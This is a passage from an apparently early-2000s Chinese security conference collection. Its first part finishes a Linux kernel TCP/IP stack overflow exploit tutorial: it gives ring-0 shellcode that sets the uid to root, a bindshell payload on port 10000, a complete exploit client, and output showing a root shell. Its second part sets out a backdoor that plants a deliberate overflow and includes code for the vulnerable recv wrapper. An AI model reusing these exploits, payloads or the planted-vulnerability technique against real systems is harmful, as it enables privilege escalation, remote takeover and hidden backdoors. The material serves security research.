
10.7 SHELLCODE2的功能上面我们已经描述过了 SHELLCODE2现在应该是在进程内核路径上了,所以我们也

可以做许多事情了。现在我们来实现这样的功能:替应用态 程 序安排一段一般 SHELLCODE 代 码,然后使用 IRET 使 EIP 指 向该

SHELLCODE,其目的也就达到了。 mov %esp,%eax

shellcode2next: add $0x4,%eax

http://www.xfocus.org , http://www.xfocus.net 第 60页 共 218页

Page 61: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

mov (%eax),%ebx cmp $0x23,%ebx#//查找堆栈里的 0x23 jne shellcode2next

sub $0x04,%eax mov (%eax),%ecx andl $0x08000000,%ecx cmp $0x08000000,%ecx jne shellcode2L1 jmp shellcode2L2

shellcode2L1: mov (%eax),%ecx andl $0x40000000,%ecx cmp $0x40000000,%ecx je shellcode2L2 add $0x04,%eax jmp shellcode2next

shellcode2L2: mov %eax,%esp#//纠正堆栈 mov $0xbffff000,%ebp mov %ebp,(%eax)# //now ebp save ring3 shellcode

mov $0xffffe000,%eax and %esp,%eax movl $0x0,0x128(%eax) #// change to root

jmp shellcode2L3

shellcode2L4: pop %esi mov %ebp,%edi mov $0x400,%ecx#// 1024 bytes shellcode应该足够了 repz movsb %ds:(%esi),%es:(%edi)

mov $(RETLOC2),%eax mov $(SAVEADDR),%ebx mov (%ebx),%ecx mov %ecx,(%eax)

push $0x2b push $0x2b pop %es

http://www.xfocus.org , http://www.xfocus.net 第 61页 共 218页

Page 62: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

pop %ds# //设置 ds为 0x2b

iret

shellcode2L3: Call shellcode2L4

RING3SHELLCODE: #bindshell port 10000 .string \"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x27\x10\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80\"RING3SHELLCODEEND:#-----------------------------------------------------------------------------------------------------

shellcode2end:

现在唯一的问题就是从中断上下文中返回了

10.8 关键的问题:中断上下文中返回我们需要让系统能在中断上下文中正确的返回,避免系统崩溃。又上面例子程序我们可以看到,我们覆盖的是 do_with()的返回地址,func()函数

的返回地址只要我们不覆盖,就还在堆栈里面。(其实达到这个目录,我们故意在 func()里面如下定义了下

char buffer[512];//only for exploit easy)现在我们来看看这两个函数的汇编代码

00000034 <func>: 34: 55 push %ebp 35: 89 e5 mov %esp,%ebp 37: 56 push %esi 38: 53 push %ebx 39: 81 ec 10 02 00 00 sub $0x210,%esp 3f: 8b 75 08 mov 0x8(%ebp),%esi 42: 8b 4e 28 mov 0x28(%esi),%ecx 45: 8a 01 mov (%ecx),%al 47: 83 e0 0f and $0xf,%eax 4a: 0f b6 c0 movzbl %al,%eax

http://www.xfocus.org , http://www.xfocus.net 第 62页 共 218页

Page 63: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

4d: 8d 1c 81 lea (%ecx,%eax,4),%ebx 50: 89 5e 24 mov %ebx,0x24(%esi) 53: 8a 43 0c mov 0xc(%ebx),%al 56: c0 e8 04 shr $0x4,%al 59: 89 c2 mov %eax,%edx 5b: 83 e2 0f and $0xf,%edx 5e: c1 e2 02 shl $0x2,%edx 61: 8d 04 1a lea (%edx,%ebx,1),%eax 64: 89 86 88 00 00 00 mov %eax,0x88(%esi) 6a: 8a 01 mov (%ecx),%al 6c: 83 e0 0f and $0xf,%eax 6f: 0f b6 c0 movzbl %al,%eax 72: 8d 04 82 lea (%edx,%eax,4),%eax 75: 8b 56 64 mov 0x64(%esi),%edx 78: 29 c2 sub %eax,%edx 7a: 89 56 64 mov %edx,0x64(%esi) 7d: 80 79 09 06 cmpb $0x6,0x9(%ecx) 81: 75 1e jne a1 <func+0x6d> 83: 66 8b 43 02 mov 0x2(%ebx),%ax 87: 86 c4 xchg %al,%ah 89: 66 83 f8 dc cmp $0xffffffdc,%ax 8d: 75 12 jne a1 <func+0x6d> 8f: 83 ec 08 sub $0x8,%esp 92: 52 push %edx 93: ff b6 88 00 00 00 pushl 0x88(%esi) 99: e8 fc ff ff ff call 9a <func+0x66>//调用 do_with 9e: 83 c4 10 add $0x10,%esp a1: 8b 46 78 mov 0x78(%esi),%eax a4: 48 dec %eax a5: 74 0a je b1 <func+0x7d> a7: ff 4e 78 decl 0x78(%esi) aa: 0f 94 c0 sete %al ad: 84 c0 test %al,%al af: 74 0c je bd <func+0x89> b1: 83 ec 0c sub $0xc,%esp b4: 56 push %esi b5: e8 fc ff ff ff call b6 <func+0x82> ba: 83 c4 10 add $0x10,%esp bd: 8d 65 f8 lea 0xfffffff8(%ebp),%esp c0: 5b pop %ebx

根据上面可以得知,当我们的 SHELLCODE得到执行到 EXIT 标号的时候,我们在执行如下代码就可以调整好 ESP,从而就可以返回了。0x210+8+8=0x220

add $0x220,%esp

http://www.xfocus.org , http://www.xfocus.net 第 63页 共 218页

Page 64: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

pop %ebxpop %esipop %ebpret

0x220哪里来的?其实是根据汇编代码得出来的,所以这个值严重依赖发生的漏洞的二进制程序。好了,到此为止,我们的 SHELLCODE应该说基本完成任务了。

10.9 EXPLOIT成功的的关键几个值从整个上面的分析过程我们可以看出,我们需要知道的几个精确值1:JMPESP的地址,在例中为

#define JMPESP (0xc0264364)#define RETADDR JMPESP

2:RETLOC2的地址,在本例子为:#define RETLOC2 0Xc01c38e0

跟漏洞二进制代码依赖性很强的值:1:在中断返回中我们说的那个 0x2202: current->uid,uid在 task中的 offset,本例为 0x128

注意:SHELLCODE不能太长,否则会把 fun()函数的返回地址也覆盖掉的.为了更加容易的 exploit,在 func 开始的地址定义了 char buffer[512]

现在溢出点为 buf[0x10c],buf[0x110]后面就应该跟 SHELLCODE

10.10 TCP/IP协议栈溢出的 SHELLCODE代码为 exploit 编写 shellcode 代码

/* shellcode.c for kernel TCP/IP stack Vulnerability kipstack_exploit * --by alert7 < [email protected] >*/#include <stdio.h>

int main(int argc, char *argv[]){ __asm__(" RETLOC2 = 0xC02C20A8

http://www.xfocus.org , http://www.xfocus.net 第 64页 共 218页

Page 65: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

SAVEADDR = 0XC02C2484 mov $0xffffe000,%eax and %esp,%edi add $0x700,%edi #DEST IN edi mov %edi,%ebp #save est in ebp

call next next: pop %esi #esi is eip next1: add $(shellcode2begin-next),%esi #esi point to shellcode2begin mov $(shellcode2end-shellcode2begin),%ecx repz movsb %ds:(%esi),%es:(%edi)

mov $(RETLOC2),%eax mov $(SAVEADDR),%ebx mov (%eax),%ecx mov %ecx,(%ebx) mov %ebp,(%eax)

exit: #需要在中断上下文中返回 add $0x220,%esp pop %ebx pop %esi pop %ebp ret

shellcode2begin: # [ SHELLCODE2 ]#----------------------------------------------------------------------- mov %esp,%eax

shellcode2next: add $0x4,%eax mov (%eax),%ebx cmp $0x23,%ebx#//查找堆栈里的 0x23 jne shellcode2next

sub $0x04,%eax mov (%eax),%ecx andl $0x08000000,%ecx cmp $0x08000000,%ecx jne shellcode2L1 jmp shellcode2L2

http://www.xfocus.org , http://www.xfocus.net 第 65页 共 218页

Page 66: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

shellcode2L1: mov (%eax),%ecx andl $0x40000000,%ecx cmp $0x40000000,%ecx je shellcode2L2 add $0x04,%eax jmp shellcode2next

shellcode2L2: mov %eax,%esp#//纠正堆栈 mov $0xbffff000,%ebp mov %ebp,(%eax)# //now ebp save ring3 shellcode

mov $0xffffe000,%eax and %esp,%eax movl $0x0,0x128(%eax) #// change to root

jmp shellcode2L3

shellcode2L4: pop %esi mov %ebp,%edi mov $0x400,%ecx#// 1024 bytes shellcode应该足够了 repz movsb %ds:(%esi),%es:(%edi)

mov $(RETLOC2),%eax mov $(SAVEADDR),%ebx mov (%ebx),%ecx mov %ecx,(%eax)

push $0x2b push $0x2b pop %es pop %ds# //设置 ds为 0x2b

iret

shellcode2L3: Call shellcode2L4

RING3SHELLCODE: #bindshell port 10000 .string \"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\

http://www.xfocus.org , http://www.xfocus.net 第 66页 共 218页

Page 67: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

x66\x68\x27\x10\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80\"RING3SHELLCODEEND:#-----------------------------------------------------------------------------------------------------

shellcode2end: "); return 0;}

10.11 TCP/IP协议栈溢出的 EXPLOIT代码

exploit 代码如下:/*exploit for kipstack.c* --- alert7 < [email protected] > * */

#include <windows.h>#include <winsock.h>#include <stdio.h>

#pragma comment(lib,"ws2_32")

#define JMPESP (0xc0264364)#define RETLOC2_OFFSET 22#define EIP_OFFSET 0X10C#define SHELLCODE_OFFSET (EIP_OFFSET+4)#define RETLOC2 0xc01c38e0

unsigned char shellcode[] = "\xb8\x00\xe0\xff\xff""\x21\xe7""\x81\xc7\x00\x07\x00\x00""\x89\xfd""\xe8\x00\x00\x00\x00"

"\x5e"

http://www.xfocus.org , http://www.xfocus.net 第 67页 共 218页

Page 68: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

"\x81\xc6\x28\x00\x00\x00""\xb9\xcf\x00\x00\x00""\xf3\xa4""\xb8\xa8\x20\x2c\xc0""\xbb\x84\x24\x2c\xc0""\x8b\x08""\x89\x0b""\x89\x28"

"\x81\xc4\x20\x02\x00\x00""\x5b""\x5e""\x5d""\xc3"

"\x89\xe0"

"\x83\xc0\x04""\x8b\x18""\x83\xfb\x23""\x75\xf6""\x83\xe8\x04""\x8b\x08""\x81\xe1\x00\x00\x00\x08""\x81\xf9\x00\x00\x00\x08""\x75\x02""\xeb\x15"

"\x8b\x08""\x81\xe1\x00\x00\x00\x40""\x81\xf9\x00\x00\x00\x40""\x74\x05""\x83\xc0\x04""\xeb\xcc"

"\x89\xc4""\xbd\x00\xf0\xff\xbf""\x89\x28""\xb8\x00\xe0\xff\xff""\x21\xe0""\xc7\x80\x28\x01\x00\x00\x00\x00\x00\x00""\xeb\x1f"

"\x5e""\x89\xef"

http://www.xfocus.org , http://www.xfocus.net 第 68页 共 218页

Page 69: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

"\xb9\x00\x04\x00\x00""\xf3\xa4""\xb8\xa8\x20\x2c\xc0""\xbb\x84\x24\x2c\xc0""\x8b\x0b""\x89\x08""\x6a\x2b""\x6a\x2b""\x07""\x1f""\xcf"

"\xe8\xdc\xff\xff\xff"

"\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x27\x10" // push word 4135 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\x10" // mov al, 16 "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\xb3\x04" // mov bl, 4 "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx

http://www.xfocus.org , http://www.xfocus.net 第 69页 共 218页

Page 70: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

"\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\x0b" // mov al, 11 "\xcd\x80" // int 80h ;

int main(int argc, void *argv[]){

WSADATA wsd;SOCKET s;SOCKADDR_IN saddr;int ret;char sendbuff[1024];short port;int len;int i;

printf("shellcode size is %d\n",sizeof(shellcode));if(argc < 3){

printf("usage: %s host port\n", argv[0]);return 1;

}if(WSAStartup(MAKEWORD(2, 2), &wsd) != 0){

printf("WSAStartup failed\n");return 1;

}port=atoi(argv[2]);

s = socket(AF_INET, SOCK_DGRAM, 0);if(s == INVALID_SOCKET)

http://www.xfocus.org , http://www.xfocus.net 第 70页 共 218页

Page 71: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{printf("socket() failed: %d\n", WSAGetLastError());return 1;

}saddr.sin_family = AF_INET;saddr.sin_port = htons(port);if ((saddr.sin_addr.s_addr = inet_addr(argv[1]))== INADDR_NONE)

{ struct hostent *host=NULL;

host = gethostbyname(argv[1]); if (host) CopyMemory(&saddr.sin_addr, host->h_addr_list[0], host->h_length); else { printf("gethostbyname() failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } }

if (connect(s, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) {

printf("connect() failed: %d\n", WSAGetLastError()); WSACleanup(); return 1;

}memset(sendbuff, 0x41, sizeof(sendbuff));

for (i=EIP_OFFSET;i>10;i-=4)*(int *)&sendbuff[i] = JMPESP;

for (i=0;i<9;i++)sendbuff[i]='B';

/*由于可能 kipstack.c里面 data的计算有点问题,导致了 data 数据指针多向后移动了 8个字节,所以我们的 EXPLOIT 代码里面也要做相应的修改*/

memcpy(&sendbuff[SHELLCODE_OFFSET+8],shellcode,sizeof(shellcode));*(int *)&sendbuff[EIP_OFFSET+8] = JMPESP;

len = SHELLCODE_OFFSET + sizeof(shellcode)+4+8;

printf("sending...\n"); ret = send(s, sendbuff, len, 0); if (ret == SOCKET_ERROR) {

http://www.xfocus.org , http://www.xfocus.net 第 71页 共 218页

Page 72: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

printf("send() failed: %d\n", WSAGetLastError());WSACleanup();

return 1;}closesocket(s);WSACleanup();return 0;

}

编译运行:#kipstack_expolit.exe 192.168.168.2 65500shellcode size is 267sending...如果 exploit 成功的话,exploit 代码会让第一个调用 read系统调用的程序执行 bindshell

操作,bind的 PORT为 10000,我们看看到底有没有成功。我们的一个终端 PUTTY(普通用户)被系统挂起了,再登入系统看看是否如我们所愿

[root@redhat73 root]# netstat -nlp|grep 10000tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN 621/sshd

呵呵,终于成功了,太不容易了。来看看是否为 ROOTSHELL。$ telnet 192.168.168.2 10000Trying 192.168.168.2...Connected to 192.168.168.2.Escape character is '^]'.id;uid=0(root) gid=0(root)只要我们一连上 10000 PORT,我们的前面那个终端就会被断开。

后记早就有意写这篇文章了,只是老是腾不出时间来写和调试。这次就趁着焦点峰会把它

赶了出来。占了不少的工作时间,有点歉意。“上帝一发笑,人类就思考”,就让我们多思考思考吧

感谢感谢我所在的团队,允许我把时间花在这非正业的工作上,由于某些原因,不能把他

们的名字一一写出来,在此表示非常感谢。

http://www.xfocus.org , http://www.xfocus.net 第 72页 共 218页

Page 73: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

参考资料

1: 《保护方式下的 80386 及其编程》 周明德 主编2: linux kernel 2.4.18 源代码3: http:// www.linuxforum.net 上面的精彩文章4: LSD的《kernvuln-1.0.2》可在它的网站上获得 http://lsd-pl.net/

http://www.xfocus.org , http://www.xfocus.net 第 73页 共 218页

Page 74: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第二篇 溢出植入型木马(后门)的原型实现

作者:flashsky < [email protected] >

时间:2002-12-11

申明作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区

溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免的方法。作者提供关键代码段的技术实现的文档和演示来验证其实现,但不提供源代码和二进制程序,任何人都可以利用此文进行自己的技术研究和代码实现,但是自己负担自己开发程序进行非法行为的法律责任。

第一节 溢出植入型木马(后门)的基本思路

1.1 木马(后门)如何有效的隐蔽的思考?木马和后门是在服务器端运行,实现与特定工作者进行通讯和执行服务请求的一

个应用服务器程序。隐蔽则是非常重要的手段,当前主要涉及到的隐蔽问题有: 应用/代码本身的隐蔽,避免事后查杀工具查出。避免文件完整性的检查等。 应用进程执行的隐蔽:如木马进程的隐蔽 自动启动代码相关的隐蔽:如W2K下需要修改注册表让自己在系统自动启动的时候启动,或填加到服务或驱动当中

通讯的隐蔽:如何隐蔽端口不被查出,如何绕过防火墙等问题当前木马/后门发展的趋势是写入到驱动和内核的级别。通过拦截系统调用的服务来达到以上几个隐蔽的目的,如 ROOTKIT等,但是这样的木马/后门也存在着一些问题: 代码量多,在客户端执行的工作多。做的事情越多,其蛛丝马迹必然也就会越多。而且是在主动方式执行的,任何时候都在予以执行,而不仅仅是在攻击者与其进行通讯的时候。

影响一定的性能:由于是写入内核和驱动的,受影响的面比较大。 编写需要高的技巧与技能。

http://www.xfocus.org , http://www.xfocus.net 第 74页 共 218页

Page 75: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

1.2 溢出植入型木马(后门)的思路那么针对以上问题,我们会产生一个思路,就是按照这种方式来实现隐藏自己的木马/后门 被动工作式的木马,最好是制造一个可以远程利用的通用漏洞,利用这个通用漏洞来实现控制,这样只在与攻击者通讯的时候才会有一定的迹象,而且服务器端留存的代码到最小,也就无所谓事后查杀,对系统的影响也非常的小。

特定程序的执行代码依赖于客户端传入的数据,而这些代码只存在于内存之中。

特定代码执行的机理尽量依赖于系统本身的正常的机制进行加载,和执行

1.3 溢出植入型木马(后门)的优势那么由上面的思路进行阐发,我们会想到,做植入一个漏洞的木马,那么为什么会选植入溢出漏洞呢?原因在于: 溢出漏洞存在操作系统通用性的优势:在很多的 CPU平台和操作系统平台上,溢出都是一个普遍存在的漏洞,并且其原理都是一样的,这样的木马很容易移植。

溢出漏洞本身难以被检查,具备非常好的隐秘性 溢出本身就可以做远程的控制,很多其他的漏洞是通过漏洞获得权限以后还需要通过其他的方式来进行控制。

溢出通过客户端把指令以代码的方式发送执行来获得控制,这些可执行代码数据可以根据需要进行一定的修改,本身具备一定的灵活性,本身的攻击代码不以服务器端程序的方式留存,只在执行的时候存在于内存堆栈中,很难寻找。

溢出的代码执行是在正常服务的内部进行的,很容易就实现了进程的隐藏,而且注入到一个正常的应用中,其启动和控制无需要其他修改注册表等方式。而且利用本身的端口和 SOCKET 很容易就能实现通讯的端口复用和 SOCKET复用,实现端口隐藏和绕过防火墙。

溢出本身对程序的性能等影响很小。且是完全被动方式来工作的。 制造一个溢出漏洞比较简单和容易实现,即使是一个非常安全的应用程序,制造一个溢出 BUG 很容易,如一个收包的代码调用:recv(sock,buf,xxxx,flag),只需要简单的调整 XXX的大小的值就使得其存在了一

个溢出的漏洞。

http://www.xfocus.org , http://www.xfocus.net 第 75页 共 218页

Page 76: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第二节 通用溢出漏洞的植入

2.1 通用化溢出漏洞要解决的 4个问题但是真正以木马/后门方式给应用植入一个溢出漏洞而可以被很好的被广泛使用,必须要使得这个溢出具备通用化的问题,主要涉及到如下几个方面的考虑: 溢出点定位因为溢出的 BUF的长度,位置和 RETADDR的偏移关系对每个应用程序都是不定的,如果针对每个应用程序都需要手工调整这个溢出点的话,客户端就无法实现通用性的代码,因此需要植入一个可溢出点固定的溢出漏洞。

JMP ESP 代码提供和定位溢出代码通过 RETADDR掌握到主动的时候,但由于 SHELLCODE在的内存堆栈是动态分配的,是无法准确获得其地址的,那么需要借重于 JMP ESP这样的语句来实现跳转,有些应用可能有这样的语句,有些应用可能又没有这样的语句,而且地址不会是一样的,随不同系统和操作系统的版本也都会变化,因此需要提供一个可固定的 JMP ESP 代码的地址给溢出 SHELLCODE,来实现通用化。

溢出覆盖后对变量的引用访问违例溢出以后,由于溢出的 BUF到 RETADDR 之间很可能还存在其他的变量,在溢出的 RETADDR 返回以前,代码还在应用程序的上小文中执行,这些代码很可能会引用这些变量,而这些变量很可能已经被我们的覆盖代码已经修改,从而导致访问违例,导致程序终止或被记录或进行异常处理代码而无法执行我们的溢出代码并且暴露我们的行踪。

溢出覆盖后执行代码对溢出区的修改溢出以后,由于溢出的 BUF到 RETADDR 之间很可能还存在其他的变量,在溢出的 RETADDR 返回以前,代码还在应用程序的上小文中执行,这些代码很可能会修改我们已经溢出覆盖的 SHELLCODE的内容,这样在溢出以后就无法正确执行我们想要执行的 SHELLCODE,一般来说还会引起异常导致进程的意外终止和记录,暴露我们的行踪。

2.2 实现植入通用化溢出漏洞的思路那么如何有效解决以上问题,实现一个可通用化利用的溢出漏洞呢?我们来展开

我们的思考:思路一:修改扩展堆栈(对于固定 EBP/ESP引用有效)在一个函数 CALL FUN的 FUN 执行空间下假设一个应用程序的堆栈空间如下:ESP----------》变量 1到 10 占有空间 40个字节

http://www.xfocus.org , http://www.xfocus.net 第 76页 共 218页

Page 77: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

可被我们溢出的 BUF1 占有空间 400个字节 其他的变量 11到 20 占有空间 40个字节EBP----------》RETADDR

传入的函数参数 1到 4 占有空间 16

那么在进入 FUNC 执行的时候,其生成的汇编语句会如下:PUSH EBP

MOV EBP,ESP (这时候的 ESP 指向 RETADDR的地址)SUB ESP,480 (480是变量总的占有空间的数)。。。。。。。 (代码执行区)ADD ESP,480

PUSH EBP

我们修改如上的汇编代码的语句为:PUSH EBP

MOV EBP,ESP

SUB ESP,1480

。。。。。。。

ADD ESP,1480

PUSH EBP

对应的堆栈空间是ESP----------》变量 1到 10 占有空间 40个字节

可被我们溢出的 BUF1 占有空间 400个字节其他的变量 11到 20 占有空间 40个字节多出的 1000个字节的空间EBP----------》RETADDR

传入的函数参数 1到 4 占有空间 16

如果对参数的引用都是以 EBP+XXX,对变量的引用都是以 ESP+XXX的方式的话,我们会发现其对应用的影响没有,程序依然可以很好的执行,因为参数和变量相对 ESP,EBP的位置并没有发生变化。但是我们会发现如下几个有趣的地方:只需要修改 SUB,ESP,XXX,ADD ESP,XXX的地方,都在函数的头尾地方出

现,不影响程序大小,容易寻找。 http://www.xfocus.org , http://www.xfocus.net 第 77页 共 218页

Page 78: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

如果我们可以根据已知的 XXX的大小和 BUF的位置,来自动计算和调整 XXX的值,就可以实现溢出点定位的问题,如上面的例子,需要溢出点定位到 1000,我们把SUB ESP,480 改成 SUB ESP,1040就可以达到定位点是 1000的目的。(多出的 40是在 BUF上面的变量,这和 BUF的位置有关);如果增加的空间足够大,我们可以把 SHELLCODE 放在多出的这个空间里,就能

有效的避免 SHELLCODE被后续程序执行导致被修改的问题。如果增加的空间足够大,我们可以把 SHELLCODE 放在多出的这个空间里,那么

对于前面的空间,由于溢出点位置已定,SHELLCODE不存在被修改,因此可以对于变量 10到 20尽可能的有效的数据地址,来减少可能的后续代码的执行对其的引用导致的访问违例问题,虽然不能完全解决,但至少提供了很大的可能性。

这是一个很好的思路,然而现实是残酷的,因为我们发现原先设想的一个前提在不同的编译器选项下是不成立的,既对变量的引用是 ESP+XXX,对传入参数的引用是 EBP+XXX,不同的情况生成的

汇编代码是复杂的,既有可能对变量和传入参数的引用全部是 ESP+XXX的方式,也有可能对变量和传入参数的引用全部是 EBP+-XXX的方式。我们只得利用这个思路继续思考新的解决方法。

思路二:植 入某个特定函数的转发函数那么新的想法就是,针对可以溢出的函数,给他植入一个转发的函数。也就是说

本来在一个过程中有对recv(sock,buf,xxx,flag)的调用,把他修改成 recvadd(sock,buf,xxx,flag),我们附加给

应用一个 recvadd 函数,这个函数只是简单的对 recvadd(sock,buf1,xxx,flag)进行转发而已,但是其分配的内存空间和给定的XXX是不一致的,存在溢出的漏洞,那么对这个转发的 recv 进行溢出就可以实现溢出控制了。

2.3 植入的通用化通用化溢出漏洞的实现a) 函数转发过程和优势过程:

i. 开辟一个新的 BUF1,长度固定,这样可提供溢出点固定的溢出ii. 调用 recv(sock,buf1,xxx,flag)进行收包

iii. 将 buf1的内容拷贝回 BUF,这样就不会影响正常的应用。优势:可以一举解决可通用化利用的溢出漏洞的四个问题。

iv. 因为在 RECVADD 函数中运行,BUF1的分配可以根据指定的溢出点进行分配。并可保证足够的溢出空间,使得 SHELLCODE就在 BUF1内存放而不影响 EBP 后面的变量

v. RECVADD中可以放置 JMP ESP的变形代码,解决 JMP ESP的定位问题 http://www.xfocus.org , http://www.xfocus.net 第 78页 共 218页

Page 79: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

vi. RECVADD只提供 BUF1,接收以后再拷贝回 BUF,这样不会涉及到问题 3和问题 4

vii. 不会影响程序的正常应用,而且附加的函数本身功能比较简单,非常容易实现,代码量非常小,1,2百字节以内,而如W2K的 PE文件格式下节是以 0X1000H对齐的,因此有足够的空间加入到 PE文件正常的节中而不影响其大小,其他参数的变化。

b) 制造转发函数的通用漏洞下面就是最初步的一个对 RECV 进行转发的函数的 C 代码DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags){

int num;char buf1[0x1190];if(len>0x1000)

num = recv(s,buf,len,flags); //说明无法通用溢出,因为要不影响正常应用

else{

num = recv(s,buf1,0x11a9,flags); //扩大到标准指定的溢出点上if(num>0) //判断是否收到包{

if(num<=len) //判断是否溢出,没有则拷贝内存memcpy(buf,buf1,num);

else //提供 JMP ESP的地址,这个地址随植入时候自动计算并替换掉:1010101H

{num=-1;_asm{

mov eax,1010101Hmov [esp+11A4H],eax;

}}

}

}return num;

}

